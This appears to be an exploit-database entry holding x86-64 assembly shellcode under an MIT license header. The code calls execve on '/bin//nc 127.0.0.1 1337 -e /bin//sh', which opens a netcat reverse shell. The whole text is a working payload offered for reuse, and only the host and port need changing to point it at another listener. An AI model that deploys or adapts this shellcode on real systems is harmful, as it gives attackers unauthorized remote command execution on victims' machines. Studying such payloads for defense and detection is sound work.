;The MIT License (MIT) ;Copyright (c) 2017 Robert L. Taylor ;Permission is hereby granted, free of charge, to any person obtaining a ;copy of this software and associated documentation files (the aSoftwarea), ;to deal in the Software without restriction, including without limitation ;the rights to use, copy, modify, merge, publish, distribute, sublicense, ;and/or sell copies of the Software, and to permit persons to whom the ;Software is furnished to do so, subject to the following conditions: ;The above copyright notice and this permission notice shall be included ;in all copies or substantial portions of the Software. ;The Software is provided aas isa, without warranty of any kind, express or ;implied, including but not limited to the warranties of merchantability, ;fitness for a particular purpose and noninfringement. In no event shall the ;authors or copyright holders be liable for any claim, damages or other ;liability, whether in an action of contract, tort or otherwise, arising ;from, out of or in connection with the software or the use or other ;dealings in the Software. ; ; For a detailed explanation of this shellcode see my blog post: ; http://a41l4.blogspot.ca/2017/03/netcatrevshell1434.html global _start section .text _start: xor edx,edx push '1337' push rsp pop rcx push rdx mov rax,'/bin//sh' push rax push rsp pop rbx push rdx mov rax,'/bin//nc' push rax push rsp pop rdi push '1' mov rax,'127.0.0.' push rax push rsp pop rsi push rdx push word '-e' push rsp pop rax push rdx ; push null push rbx ; '/bin//sh' push rax ; '-e' push rcx ; '1337' push rsi ; '127.0.0.1' push rdi ; '/bin//nc' push rsp pop rsi ; address of array of pointers to strings push 59 ; execve system call pop rax syscall # Iranian Exploit DataBase = http://IeDb.Ir [2017-03-07]